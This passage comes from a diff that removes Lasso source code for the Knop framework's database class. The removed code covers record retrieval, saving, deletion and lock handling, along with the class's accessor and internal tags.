-				(self -> 'inlinename') = ((local: 'inlinename') != '' ? #inlinename | 'inline_' + knop_unique);
-				#_fields -> (removeall: '-inlinename');
-				#_fields -> (insert: '-inlinename'=(self -> 'inlinename'));
-				
-				local: 'querytimer'=knop_timer;
-				inline: #_fields, -add;
-					(self -> 'querytime') = integer: #querytimer;
-					(self -> 'searchparams') = #_fields;
-				
-					self -> capturesearchvars;
-					if: error_code != 0;
-						(self -> 'keyvalue') = null;
-					/if;
-				/inline;
-			/if;
-		/inline;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		(self -> 'debug_trace') -> (insert: tag_name + ': ' + (self -> error_msg) + ' ' + (self -> error_code) 
-			+ ' keyvalue ' + (self -> 'keyvalue') + ' ' + (self -> 'tagtime') + ' ms');
-	/define_tag;
-
-
-	define_tag: 'getrecord', -description='Returns a single specific record from the database, optionally locking the record. \
-			If the keyvalue matches multiple records, an error is returned. \n\
-			Parameters:\n\
-			-keyvalue (optional) Uses a previously set keyvalue if not specified. If no keyvalue is available, an error is returned unless -sql is used. \n\
-			-keyfield (optional) Temporarily override of keyfield specified at oncreate\n\
-			-inlinename (optional) Defaults to autocreated inlinename\n\
-			-lock (optional flag) If flag is specified, a record lock will be set\n\
-			-user (optional) The user who is locking the record (required if using lock)\n\
-			-sql (optional) SQL statement to use instead of keyvalue. Must include the keyfield (and lockfield of locking is used).',
-		-optional='keyvalue', -copy,
-		-optional='keyfield',
-		-optional='inlinename', -copy,
-		-optional='lock',
-		-optional='user', -copy,
-		-optional='sql', -type='string';
-		local: 'timer'=knop_timer; 
-
-		local: '_sql'=(local: 'sql');
-
-		if: #_sql != '' && (self -> 'isfilemaker');
-			#_sql='';
-			fail: 7009, self -> error_msg(7009); // sql can not be used with filemaker
-		/if;
-		
-		// get existing record pointer if any
-		if: #_sql -> size == 0 && !(local_defined: 'keyvalue');
-			local: 'keyvalue'=(self -> 'keyvalue');
-		else: !(local_defined: 'keyvalue');
-			local: 'keyvalue'=string;
-		/if;
-
-		// clear all search result vars
-		self -> reset;
-		
-		fail_if: !(local_defined: 'keyfield') && (self -> 'keyfield') == '', 7002, self -> error_msg(7002); // Keyfield not specified
-		if: (local_defined: 'lock') && #lock != false;
-			fail_if: (self -> 'lockfield') == '', 7003, self -> error_msg(7003); // Lockfield must be specified to get record with lock
-			if: !(local_defined: 'user') && ((self -> 'user') != '' || (self -> 'user') -> isa('user'));
-				// use user from database object
-				local('user' = (self -> 'user'));
-			/if;
-			fail_if: (local: 'user') == '' && !((local: 'user') -> isa('user')), 7004, self -> error_msg(7004); // User must be specified to get record with lock
-			(self -> 'debug_trace') -> insert(tag_name ': user is type ' + (#user -> type) + ', isa(user) = ' + (#user -> isa('user')) );
-			if: #user -> isa('user');
-				#user= #user -> id_user;
-				fail_if: #user == '', 7004, self -> error_msg(7004); // User must be logged in to get record with lock
-			/if;
-			(self -> 'debug_trace') -> insert(tag_name ': user id is ' + #user);
-		/if;
-		if: !(local_defined: 'keyfield') && (self -> 'keyfield') != '';
-			local: 'keyfield'=(self -> 'keyfield');
-		/if;
-		if:  #_sql -> size == 0 && string(#keyvalue) -> size == 0;
-			(self -> 'error_code') = 7007; // keyvalue missing
-		/if;
-		if: (self -> 'error_code') == 0;
-			inline: (self -> 'db_connect'); // connection wrapper
-
-				if: #_sql -> size;
-					self -> (select: -sql=#_sql, -inlinename=(local: 'inlinename'));
-					#keyvalue = (self -> 'keyvalue');
-				else;
-					self -> (select: -keyfield=#keyfield, -keyvalue=#keyvalue, -inlinename=(local: 'inlinename'));
-				/if;
-				if: (self -> field_names) !>> #keyfield;
-					(self -> 'error_code') = 7020; // Keyfield not present in query
-				/if;
-				if: (self -> field_names) !>> (self -> 'lockfield') && (local_defined: 'lock') && #lock != false;
-					(self -> 'error_code') = 7021; // Lockfield not present in query
-				/if;
-				
-				if: (self -> 'found_count') == 0 && (self -> 'error_code') == 0;
-					(self -> 'error_code') = -1728;
-				else: (self -> 'found_count') > 1 && (self -> 'error_code') == 0;
-					self -> reset;
-					(self -> 'error_code') = 7008; // keyvalue not unique
-				/if;
-		
-		
-				// handle record locking
-				if: (self -> 'error_code') == 0 && (local_defined: 'lock') && #lock != false;
-					// check for current lock
-					if: (self -> 'lockvalue') != '';
-						// there is a lock already set, check if it has expired or if it is the same user
-						local: 'lockvalue'=(self -> 'lockvalue') -> (split: '|');
-						local: 'lock_timestamp'=date: (#lockvalue->size > 1 ? #lockvalue -> (get: 2) | null);
-						local: 'lock_user'=#lockvalue -> first;
-						if: (date - #lock_timestamp) -> seconds < (self -> 'lock_expires')
-							&& #lock_user != #user;
-							// the lock is still valid and it is locked by another user
-							// this is not a real error, more a warning condition
-							(self -> 'error_code') = 7010; 
-							(self -> 'error_data') = (map: 'user' = #lock_user, 'timestamp' = #lock_timestamp);
-							(self -> 'keyvalue') = null;
-							(self -> 'debug_trace') -> (insert: tag_name ': record ' + #keyvalue + ' was already locked by ' + #lock_user + '.');
-						/if;
-					/if;
-					if: (self -> 'error_code') == 0;
-						// go ahead and lock record
-						(self -> 'lockvalue') = #user + '|' + (date -> format: '%Q %T');
-						(self -> 'lockvalue_encrypted') = (encrypt_blowfish: (self -> 'lockvalue'), -seed=(self -> 'lock_seed'));
-						local: 'keyvalue_temp'=#keyvalue;
-						if: (self -> 'isfilemaker');
-							// find internal keyvalue
-							inline: -op='eq', #keyfield=#keyvalue,
-								-search;
-								if: found_count == 1;
-									#keyvalue_temp=keyfield_value;
-									(self -> 'debug_trace') -> (insert: tag_name + ': will set record lock for FileMaker record id ' + keyfield_value + ' ' + error_msg + ' ' + error_code);
-								else;
-									(self -> 'debug_trace') -> (insert: tag_name + ': could not get record id for FileMaker record, ' found_count + ' found ' + + error_msg + ' ' + error_code);
-								/if;
-							/inline;
-						/if;
-						inline: -keyfield=#keyfield,
-							-keyvalue=#keyvalue_temp, 
-							(self -> 'lockfield')=(self -> 'lockvalue'),
-							-update;
-							if: error_code;
-								(self -> 'error_code') = 7012; // could not set record lock
-								(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);
-								(self -> 'lockvalue') = null;
-								(self -> 'lockvalue_encrypted') = null;
-								(self -> 'keyvalue') = null;
-							else;
-								// lock was set ok
-								(self -> 'debug_trace') -> (insert: tag_name + ': set record lock ' + (self -> 'lockvalue') + ' ' + (self -> 'lockvalue_encrypted'));
-								if: (self -> 'user') -> isa('user');
-									// tell user it has locked a record in this db object
-									(self -> 'user') -> addlock(-dbname=self -> varname);
-								/if;
-							/if;
-						/inline;
-					/if;
-				/if;
-				
-			/inline;
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		(self -> 'debug_trace') -> (insert: tag_name + ': ' + (self -> error_msg) + ' ' + (self -> error_code) + ' ' + (self -> 'tagtime') + ' ms');
-	/define_tag;
-
-
-	define_tag: 'saverecord', -description='Updates a specific database record. \n\
-			Parameters:\n\
-			-fields (required array) Lasso-style field values in pair array\n\
-			-keyfield (optional) Keyfield is ignored if lockvalue is specified\n\
-			-keyvalue (optional) Keyvalue is ignored if lockvalue is specified\n\
-			-lockvalue (optional) Either keyvalue or lockvalue must be specified\n\
-			-keeplock (optional flag) Avoid clearing the record lock when saving. Updates the lock timestamp.\n\'
-			-user (optional) If lockvalue is specified, user must be specified as well\n\
-			-inlinename (optional) Defaults to autocreated inlinename',
-		-required='fields', -type='array',
-		-optional='keyfield',
-		-optional='keyvalue', -copy,
-		-optional='lockvalue', -copy,
-		-optional='keeplock',
-		-optional='user', -copy,
-		-optional='inlinename', -copy;
-		
-		local: 'timer'=knop_timer; 
-
-		if(!local_defined('keyvalue') && string(self -> 'keyvalue') -> size);
-			// use current record's keyvalue if any
-			local('keyvalue'=(self -> 'keyvalue'));
-		/if;
-
-		// clear all search result vars
-		self -> reset;
-
-		fail_if: !(local_defined: 'keyvalue') && !(local_defined: 'lockvalue'), 7005, self -> error_msg(7005); // Either keyvalue or lockvalue must be specified for update or delete
-		fail_if: (local_defined: 'keyvalue') && (self -> 'keyfield') == '' && (local: 'keyfield') == '', 7002, self -> error_msg(7002); // Keyfield not specified
-		if: (local_defined: 'lockvalue');
-			fail_if: (self -> 'lockfield') == '', 7003, self -> error_msg(7003); // Lockfield not specified
-			if: !(local_defined: 'user') && ((self -> 'user') != '' || (self -> 'user') -> isa('user'));
-				// use user from database object
-				local('user' = (self -> 'user'));
-			/if;
-			fail_if: (local: 'user') == '' && !((local: 'user') -> isa('user')), 7004, self -> error_msg(7004); 
-			(self -> 'debug_trace') -> insert(tag_name ': user is type ' + (#user -> type) + ', isa(user) = ' + (#user -> isa('user')) );
-			if: #user -> isa('user');
-				#user= #user -> id_user;
-				fail_if: #user == '', 7004, self -> error_msg(7004); // User must be logged in to get record with lock
-			/if;
-			(self -> 'debug_trace') -> insert(tag_name ': user id is ' + #user);
-		/if;
-		
-		!(local_defined: 'keyfield') ? local: 'keyfield'=self -> 'keyfield';
-		
-		local: '_fields'=#fields;
-		
-		// remove all database actions from the search array
-		#_fields -> (removeall: '-search') & (removeall: '-add') & (removeall: '-delete') & (removeall: '-update') 
-			& (removeall: '-sql') & (removeall: '-nothing') & (removeall: '-show')
-			// & (removeall: '-table') // table is ok to override
-			& (removeall: '-database');
-		#_fields -> (removeall: '-keyfield') & (removeall: '-keyvalue');
-
-		inline: (self -> 'db_connect'); // connection wrapper
-
-			// handle record locking
-			if: (self -> 'error_code') == 0 && (local: 'lockvalue') != '';
-
-				// first check if record was locked by someone else, and that lock is still valid
-				local: 'lock'=(decrypt_blowfish: #lockvalue, -seed=(self -> 'lock_seed')) -> (split: '|');
-				local: 'lock_timestamp'=date: (#lock->size > 1 ? (#lock -> (get: 2)) | null);
-				local: 'lock_user'=#lock -> first;
-				if: (date - #lock_timestamp) -> seconds < (self -> 'lock_expires')
-					&& #lock_user != #user;
-					// the lock is still valid and it is locked by another user
-					(self -> 'error_code') = 7010; 
-					(self -> 'error_data') = (map: 'user' = #lock_user, 'timestamp' = #lock_timestamp);
-				/if;
-
-				// check that the current lock is still valid
-				if: (self -> 'error_code') == 0;
-					inline: -op='eq', (self -> 'lockfield')=#lock -> (join: '|'), 
-						-maxrecords=1,
-						-returnfield=(self -> 'lockfield'),
-						-returnfield=(self -> 'keyfield'),
-						-search;
-						if: error_code == 0 && found_count != 1;
-							// lock is not valid any more
-							(self -> 'error_code') = 7011; // Update failed, record lock not valid any more
-						else: error_code != 0;
-							(self -> 'error_code') = 7018; // Update error
-							(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);
-						else;
-							// lock OK, grab keyvalue for update
-							local: 'keyvalue'=(field: (self -> 'keyfield'));
-						/if;
-					/inline;
-				/if;
-				
-				if: (self -> 'error_code') == 0;
-					// go ahead and release record lock by clearing the field value in the update fields array
-					#_fields -> (removeall: (self -> 'lockfield'));
-					if: ((local_defined: 'keeplock') && #keeplock != false);
-						// update the lock timestamp
-						(self -> 'lockvalue') = #user + '|' + (date -> format: '%Q %T');
-						(self -> 'lockvalue_encrypted') = (encrypt_blowfish: (self -> 'lockvalue'), -seed=(self -> 'lock_seed'));
-						#_fields -> (insert: (self -> 'lockfield')=(self -> 'lockvalue'));
-					else;
-						#_fields -> (insert: (self -> 'lockfield') = '');
-					/if;
-				/if;
-
-			/if;
-
-			if: (self -> 'error_code') == 0 && (local: 'keyvalue') != '';
-				if: (self -> 'isfilemaker');
-					inline: -op='eq', #keyfield=#keyvalue, -search;
-						if: found_count == 1;
-							#_fields -> (insert: '-keyvalue'=keyfield_value);
-							(self -> 'debug_trace') -> (insert: tag_name + ': FileMaker record id ' + keyfield_value);
-						/if;
-					/inline;
-				else;
-					#_fields -> (insert: '-keyfield'=#keyfield);
-					#_fields -> (insert: '-keyvalue'=#keyvalue);
-				/if;
-			/if;
-			
-			
-			
-			if: (#_fields >> '-keyfield' && #_fields -> (find: '-keyfield') -> first -> value != '' || (self -> 'isfilemaker'))
-				&& #_fields >> '-keyvalue' && #_fields -> (find: '-keyvalue') -> first -> value != '';
-				// ok to update
-			else: (self -> 'error_code') == 0;
-				(self -> 'error_code') = 7006; // Update failed, keyfield or keyvalue missing';
-			/if;
-
-			// update record
-			if: (self -> 'error_code') == 0;
-
-				// inlinename defaults to a random string
-				(self -> 'inlinename') = ((local: 'inlinename') != '' ? #inlinename | 'inline_' + knop_unique);
-				#_fields -> (removeall: '-inlinename');
-				#_fields -> (insert: '-inlinename'=(self -> 'inlinename'));
-	
-				local: 'querytimer'=knop_timer;
-				inline: #_fields, -update;
-					(self -> 'querytime') = integer: #querytimer;
-					(self -> 'searchparams') = #_fields;
-					self -> capturesearchvars;
-				/inline;
-			/if;
-		/inline;
-	
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		(self -> 'debug_trace') -> (insert: tag_name + ': ' + (self -> 'keyvalue') + ' '+ (self -> error_msg) + ' ' + (self -> error_code) + ' ' + (self -> 'tagtime') + ' ms');
-	/define_tag;
-
-
-	define_tag: 'deleterecord', -description='Deletes a specific database record. \n\
-			Parameters:\n\
-			-keyvalue (optional) Keyvalue is ignored if lockvalue is specified\n\
-			-lockvalue (optional) Either keyvalue or lockvalue must be specified\n\
-			-user (optional) If lockvalue is specified, user must be specified as well',
-		-optional='keyvalue', -copy,
-		-optional='lockvalue', -copy,
-		-optional='user';
-		local: 'timer'=knop_timer; 
-
-		if(!local_defined('keyvalue') && string(self -> 'keyvalue') -> size);
-			// use current record's keyvalue if any
-			local('keyvalue'=(self -> 'keyvalue'));
-		/if;
-
-		// clear all search result vars
-		self -> reset;
-
-		fail_if: !(local_defined: 'keyvalue') && !(local_defined: 'lockvalue'), 7005,  self -> error_msg(7005); // Either keyvalue or lockvalue must be specified for update or delete
-		fail_if: (local_defined: 'keyvalue') && (self -> 'keyfield') == '', 7002,  self -> error_msg(7002); // Keyfield not specified
-		if: (local_defined: 'lockvalue');
-			fail_if: (self -> 'lockfield') == '', 7003,  self -> error_msg(7003); //  Lockfield not specified
-			if: !(local_defined: 'user') && ((self -> 'user') != '' || (self -> 'user') -> isa('user'));
-				// use user from database object
-				local('user' = (self -> 'user'));
-			/if;
-			fail_if: (local: 'user') == '' && !((local: 'user') -> isa('user')), 7004, self -> error_msg(7004); 
-			(self -> 'debug_trace') -> insert(tag_name ': user is type ' + (#user -> type) + ', isa(user) = ' + (#user -> isa('user')) );
-			if: #user -> isa('user');
-				#user= #user -> id_user;
-				fail_if: #user == '', 7004, self -> error_msg(7004); // User must be logged in to get record with lock
-			/if;
-			(self -> 'debug_trace') -> insert(tag_name ': user id is ' + #user);
-		/if;
-		
-		local: '_fields'=array;
-		
-		inline: (self -> 'db_connect'); // connection wrapper
-
-			// handle record locking
-			if: (self -> 'error_code') == 0 && (local: 'lockvalue') != '';
-
-				// first check if record was locked by someone else, and that lock is still valid
-				local: 'lockvalue'=(decrypt_blowfish: #lockvalue, -seed=(self -> 'lock_seed')) -> (split: '|');
-				local: 'lock_timestamp'=date: (#lockvalue->size > 1 ? #lockvalue -> (get: 2) | null);
-				local: 'lock_user'=(#lockvalue -> first);
-				if: (date - #lock_timestamp) -> seconds < (self -> 'lock_expires')
-					&& #lock_user != #user;
-					// the lock is still valid and it is locked by another user
-					(self -> 'error_code') = 7010; // Delete failed, record locked 
-					(self -> 'error_data') = (map: 'user' = #lock_user, 'timestamp' = #lock_timestamp);
-				/if;
-
-				// check that the current lock is still valid
-				if: (self -> 'error_code') == 0;
-					inline: -op='eq', (self -> 'lockfield')=#lockvalue -> (join: '|'), 
-						-maxrecords=1,
-						-returnfield=(self -> 'lockfield'),
-						-returnfield=(self -> 'keyfield'),
-						-search;
-						if: error_code == 0 && found_count != 1;
-							// lock is not valid any more
-							(self -> 'error_code') = 7011; // Delete failed, record lock not valid any more';
-						else: error_code != 0;
-							(self -> 'error_code') = 7019; // delete error
-							(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);
-						else;
-							// lock OK, grab keyvalue for update
-							local: 'keyvalue'=(field: (self -> 'keyfield'));
-							(self -> 'debug_trace') -> (insert: tag_name + ': got keyvalue ' + #keyvalue + ' for keyfield ' + (self -> 'keyfield'));
-						/if;
-					/inline;
-				/if;
-				
-			/if;
-
-			if: (self -> 'error_code') == 0 && (local: 'keyvalue') != '';
-				if: (self -> 'isfilemaker');
-					inline: -op='eq', (self -> 'keyfield')=#keyvalue, -search;
-						if: found_count == 1;
-							#_fields -> (insert: '-keyvalue'=keyfield_value);
-							(self -> 'debug_trace') -> (insert: tag_name + ': FileMaker record id ' + keyfield_value);
-						/if;
-					/inline;
-				else;
-					#_fields -> (insert: '-keyfield'=(self -> 'keyfield'));
-					#_fields -> (insert: '-keyvalue'=#keyvalue);
-				/if;
-			/if;
-			
-			(self -> 'debug_trace') -> (insert: tag_name + ': will delete record with params ' + #_fields);
-			
-			if: (#_fields >> '-keyfield' && #_fields -> (find: '-keyfield') -> first -> value != '' || (self -> 'isfilemaker'))
-				&& #_fields >> '-keyvalue' && #_fields -> (find: '-keyvalue') -> first -> value != '';
-				// ok to delete
-			else;
-				(self -> 'error_code') = 7006; // Delete failed, keyfield or keyvalue missing
-			/if;
-			
-			// delete record
-			if: (self -> 'error_code') == 0;
-	
-				local: 'querytimer'=knop_timer;
-				inline: #_fields, -delete;
-					(self -> 'querytime') = integer: #querytimer;
-					(self -> 'searchparams') = #_fields;
-				
-					self -> capturesearchvars;
-				
-				/inline;
-			/if;
-		/inline;
-	
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		(self -> 'debug_trace') -> (insert: tag_name + ': ' + (self -> error_msg) + ' ' + (self -> error_code) + ' ' + (self -> 'tagtime') + ' ms');
-	/define_tag;
-
-
-	define_tag: 'clearlocks', -description='Release all record locks for the specified user, suitable to use when showing record list. \n\
-			Parameters:\n\
-			-user (required) The user to unlock records for',
-		-required='user';
-		// release all record locks for the specified user, suitable to use when showing record list
-		local: 'timer'=knop_timer; 
-
-		fail_if: (self -> 'lockfield') == '', 7003,  self -> error_msg(7003); //  Lockfield not specified
-		fail_if: #user == '', 7004, self -> error_msg(7004); // User not specified
-	
-		if: (self -> 'isfilemaker');
-			inline: (self -> 'db_connect'),
-				-maxrecords=all,
-				(self -> 'lockfield')='"' + #user + '|"',
-				-search;
-				if: found_count > 0;
-					(self -> 'debug_trace') -> (insert: tag_name + ': clearing locks for ' + #user + ' in ' + found_count + ' FileMaker records ' + error_msg + ' ' + error_code);
-					records;
-						inline: -keyvalue=keyfield_value,
-							(self -> 'lockfield')='',
-							-update;
-							if: error_code;
-								(self -> 'error_code') = 7013; // Clearlocks failed
-								(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);
-								(self -> 'debug_trace') -> (insert: tag_name + ': error when clearing lock on FileMaker record ' + keyfield_value + ' ' + error_msg + ' ' + error_code);
-								return;
-							/if;
-						/inline;
-					/records;
-				else: error_code;
-					(self -> 'error_code') = 7013; // Clearlocks failed
-					(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);
-				/if;
-			/inline;
-		else;
-			inline: (self -> 'db_connect'),
-				-sql='UPDATE `' + (self -> 'table_realname') + '` SET `' + (self -> 'lockfield') + '`=""  WHERE `' + (self -> 'lockfield') 
-					+ '` LIKE "' + (encode_sql: #user) + '|%"';
-				if: error_code != 0;
-					(self -> 'error_code') = 7013; // Clearlocks failed
-					(self -> 'error_data') = (map: 'error_code'=error_code, 'error_msg'=error_msg);
-				/if;
-			/inline;
-			(self -> 'debug_trace') -> (insert: tag_name + ': clearing all locks for ' + #user + ' ' + (self -> error_msg) + ' ' + (self -> error_code));
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	define_tag: 'action_statement';		return: (self -> 'action_statement');	/define_tag;
-	define_tag: 'found_count';			return: (self -> 'found_count');		/define_tag;
-	define_tag: 'shown_count';			return: (self -> 'shown_count');		/define_tag;
-	define_tag: 'shown_first';			return: (self -> 'shown_first');		/define_tag;
-	define_tag: 'shown_last';			return: (self -> 'shown_last');			/define_tag;
-	define_tag: 'maxrecords_value';		return: (self -> 'maxrecords_value');	/define_tag;
-	define_tag: 'skiprecords_value';	return: (self -> 'skiprecords_value');	/define_tag;
-	define_tag: 'keyfield';				return: (self -> 'keyfield');			/define_tag;
-	define_tag: 'keyvalue';				return: (self -> 'keyvalue');			/define_tag;
-	define_tag: 'lockfield';			return: (self -> 'lockfield');			/define_tag;
-	define_tag: 'lockvalue';			return: (self -> 'lockvalue');			/define_tag;
-	define_tag: 'lockvalue_encrypted';	return: (self -> 'lockvalue_encrypted'); /define_tag;
-	define_tag: 'querytime';			return: (self -> 'querytime');			/define_tag;
-	define_tag: 'inlinename';			return: (self -> 'inlinename');			/define_tag;
-	define_tag: 'searchparams';			return: (self -> 'searchparams');		/define_tag;
-	define_tag: 'resultset_count',
-		-optional='inlinename';
-		!local_defined('inlinename') ? local('inlinename'=(self -> 'inlinename'));
-		return((self -> 'resultset_count_map') -> find(#inlinename));
-	/define_tag;
-
-	define_tag('recorddata', -description='A map containing all fields, only available for single record results',
-		-optional='recordindex', -copy);
-		!local_defined('recordindex') ? local('recordindex'=(self -> 'current_record'));
-		#recordindex < 1 ? #recordindex = 1;
-		if(#recordindex == 1);
-			// return default (i.e. first) record
-			return(self -> 'recorddata');
-		else;
-			local('recorddata'=map);
-			iterate(self -> field_names, local('field_name'));
-				#recorddata -> insert(#field_name  =  (self -> 'records_array' -> get(#recordindex) 
-					-> get(self -> 'field_names_map' -> find(#field_name))));
-			/iterate;
-			return(#recorddata);
-		/if;
-	/define_tag;
-
-	define_tag: 'records_array';		return: (self -> 'records_array');		/define_tag;
-	
-	define_tag('field_names', -description='Returns an array of the field names from the last database query. If no database query has been performed, a "-show" request is performed. \n\
-			Parameters: \n\
-			-table (optional) Return the field names for the specified table\n\
-			-types (optional flag) If specified, returns a pair array with fieldname and corresponding Lasso data type',
-		-optional='table',
-		-optional='types');
-		!local_defined('table') ? local('table'=(self -> 'table'));
-		local('field_names'=(self -> 'field_names'));
-		if(#field_names -> size == 0 || (local_defined('types') && #types != false));
-			#field_names=array;
-			if(local_defined('types') && #types != false);
-				local('types_mapping'=map('text'='string', 'number'='decimal', 'date/time'='date'));
-			/if;
-			inline(self->'db_connect', -table=#table, -show);
-				if(local_defined('types') && #types != false);
-					loop(field_name(-count));
-						#field_names -> insert(field_name(loop_count) = #types_mapping->find(field_name(loop_count, -type)));
-					/loop;
-				else;
-					#field_names=field_names;
-				/if;
-			/inline;
-		/if;
-		return(@#field_names);
-	/define_tag;
-	
-	define_tag('table_names', -description='Returns an array with all table names for the database');
-		local('table_names'=array);
-		inline(self -> 'db_connect');
-			Database_TableNames(self -> 'database');
-				#table_names -> insert(Database_TableNameItem);
-			/Database_TableNames;
-		/inline;
-		return(@#table_names);
-	/define_tag;
-	
-	define_tag: 'error_data', -description='Returns more info for those errors that provide such';
-		if: (self -> 'errors_error_data') >> (self -> error_code);
-			return: (self -> 'error_data');
-		else;
-			return: map;
-		/if;
-	/define_tag;
-
-	define_tag('size');
-		return(self -> 'shown_count');
-	/define_tag;
-
-	define_tag('get', -required='index');
-		return(knop_databaserow(
-			-record_array=(self -> 'records_array' -> get(#index)), 
-			-field_names=(self -> 'field_names')));
-	/define_tag;
-
-	define_tag('records', -description='Returns all found records as a knop_databaserows object',
-		-optional='inlinename');
-		!local_defined('inlinename') ? local('inlinename'=(self -> 'inlinename'));
-		if((self -> 'databaserows_map') !>> #inlinename);
-			// create knop_databaserows on demand
-			(self -> 'databaserows_map') -> insert(#inlinename = knop_databaserows(
-					-records_array=(self -> 'records_array'), 
-					-field_names=(self -> 'field_names'))
-				);
-		/if;
-		return(@((self -> 'databaserows_map') -> find(#inlinename)));
-	/define_tag;
-
-	define_tag('field', -description='A shortcut to return a specific field from a single record result',
-		-required='fieldname',
-		-optional='recordindex',
-		-optional='index');
-		!local_defined('recordindex') ? local('recordindex'=(self -> 'current_record'));
-		#recordindex < 1 ? #recordindex = 1;
-		!local_defined('index') ? local('index'=1);
-		if(#recordindex == 1 && #index == 1);
-			// return first field occurrence from the default (i.e. first) record
-			return((self -> 'recorddata') -> find(#fieldname));
-		else(self -> 'field_names_map' >> #fieldname 
-			&& #recordindex >= 1 
-			&& #recordindex <= (self -> 'records_array') -> size);
-			// return specific record
-			if(#index==1);
-				// return first ocurrence of field name through the index map - this is faster
-				return(self -> 'records_array' -> get(#recordindex) -> get(self -> 'field_names_map' -> find(#fieldname)));
-			else;
-				// return another occurrence of the field - this is slightly slower
-				local('indexmatches'=(self -> 'field_names') -> findposition(#fieldname));
-				if(#index >= 1 && #index <= #indexmatches -> size);
-					return(self -> 'records_array' -> get(#recordindex) -> get(#indexmatches -> get(#index)));
-				/if;
-			/if;
-		/if;
-	/define_tag;
-	
-	define_tag('next', -description='Increments the record pointer, returns true if there are more records to show, false otherwise.\n\
-			Useful as an alternative to a regular records loop:\n\
-			\t$database -> select;\n\
-			\twhile: $database -> next;\n\
-			\t\t$database -> field(\'name\');\'<br>\';\n\
-			\t/while;');
-		if((self -> 'current_record') < (self -> 'shown_count'));
-			(self -> 'current_record') += 1;
-			return(true);
-		else;
-			// reset record pointer
-			(self -> 'current_record') = 0;
-			return(false);
-		/if;
-	/define_tag;
-
-	define_tag('nextrecord', -description='Deprecated synonym for ->next');
-		(self -> 'debug_trace') -> insert('*** DEPRECATION WARNING *** ' + tag_name + ' is deprecated, use ->next instead ');
-		return(self -> next);
-	/define_tag;
-
-	define_tag: 'trace', 
-		-optional='html',
-		-optional='xhtml';
-
-		local: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');
-
-		local: 'eol'=(local_defined: 'html') || #endslash -> size ? '<br' + #endslash + '>\n' | '\n';
-
-		return: #eol + 'Debug trace for database $' + (self -> varname) + ' (' (self -> 'database') '.' (self -> 'table') + ')' +  #eol 
-			+ (self -> 'debug_trace') -> (join: #eol) + #eol;
-
-	/define_tag;
-
-
-	// =========== Internal member tags ===============
-	
-	define_tag: 'reset', -description='Internal, reset all search result vars';
-		// reset all search result vars
-		// searchresultvars
-		(self -> 'action_statement') = null;
-		(self -> 'found_count') = null;
-		(self -> 'shown_first') = null;
-		(self -> 'shown_last') = null;
-		(self -> 'shown_count') = null;
-		(self -> 'field_names') = null;
-		(self -> 'records_array') = null;
-		(self -> 'maxrecords_value') = null;
-		(self -> 'skiprecords_value') = null;
-		
-		(self -> 'inlinename')=string;
-		(self -> 'keyvalue')=null;
-		(self -> 'lockvalue')=null;
-		(self -> 'lockvalue_encrypted')=null;
-		(self -> 'timestampfield')=string;
-		(self -> 'timestampvalue')=string;
-		(self -> 'searchparams')=string;
-		(self -> 'querytime')=integer;
-		(self -> 'recorddata')=map;
-		(self -> 'message')=string;
-		(self -> 'current_record')=0;
-		(self -> 'field_names_map')=map;
-
-		(self -> 'error_code')=0;
-		(self -> 'error_msg')=string;
-	/define_tag;
-
-	define_tag: 'capturesearchvars', -description='Internal';
-		// internal member tag
-
-		// capture various result variables like found_count, shown_first, shown_last, shown_count
-		// searchresultvars
-		(self -> 'action_statement') = action_statement;
-		(self -> 'found_count') = found_count;
-		(self -> 'shown_first') = shown_first;
-		(self -> 'shown_last') = shown_last;
-		(self -> 'shown_count') = shown_count;
-		(self -> 'field_names') = field_names;
-		(self -> 'records_array') = records_array;
-	
-		!((self -> 'maxrecords_value') > 0) ? (self -> 'maxrecords_value') = maxrecords_value;
-		!((self -> 'skiprecords_value') > 0) ? (self -> 'skiprecords_value') = skiprecords_value;
-
-		lasso_tagexists('resultset_count') ? (self -> 'resultset_count_map') -> insert((self -> 'inlinename')=resultset_count);
-		iterate(field_names, local('field_name'));
-			(self -> 'field_names_map') !>> #field_name 
-				? (self -> 'field_names_map') -> insert(#field_name=loop_count);
-		/iterate;
-		
-		(self -> 'error_code') = error_code;
-		error_code && error_msg -> size ? (self -> 'error_msg') = error_msg;
-		
-
-		// handle queries that use LIMIT
-		if: !(self -> 'isfilemaker') && (string_findregexp: action_statement, -find= '\\sLIMIT\\s', -ignorecase) -> size;
-			(self -> 'debug_trace') -> (insert: tag_name + ': old found_count, shown_first and shown_last ' + (self -> 'found_count') + ' '+ (self -> 'shown_first') + ' '+ (self -> 'shown_last'));
-			(self -> 'found_count') = knop_foundrows;
-			// adjust shown_first and shown_last
-			(self -> 'shown_first') = ((self -> 'found_count') ? (self -> 'skiprecords_value') + 1 | 0);
-			(self -> 'shown_last') = integer(math_min(((self -> 'skiprecords_value') + (self -> 'maxrecords_value')), (self -> 'found_count')));
-			(self -> 'debug_trace') -> (insert: tag_name + ': new found_count, shown_first and shown_last ' + (self -> 'found_count') + ' '+ (self -> 'shown_first') + ' '+ (self -> 'shown_last'));
-		/if;
-
-		// capture some variables for single record results
-		if: found_count <= 1  // -update gives found_count 0 but still has one record result
-			&& error_code == 0;
-			if((self -> 'keyfield') != '' && string(field(self -> 'keyfield')) -> size);
-				(self -> 'keyvalue')=field(self -> 'keyfield');
-			else: (self -> 'keyfield') != '' && (self -> 'keyvalue') == '' && !(self -> 'isfilemaker');
-				(self -> 'keyvalue')=keyfield_value;
-			/if;
-			if: lasso_currentaction == 'add' || lasso_currentaction == 'update';
-				(self -> 'affectedrecord_keyvalue') = (self -> 'keyvalue');
-			/if;
-			if: (self -> 'lockfield') != ''; 
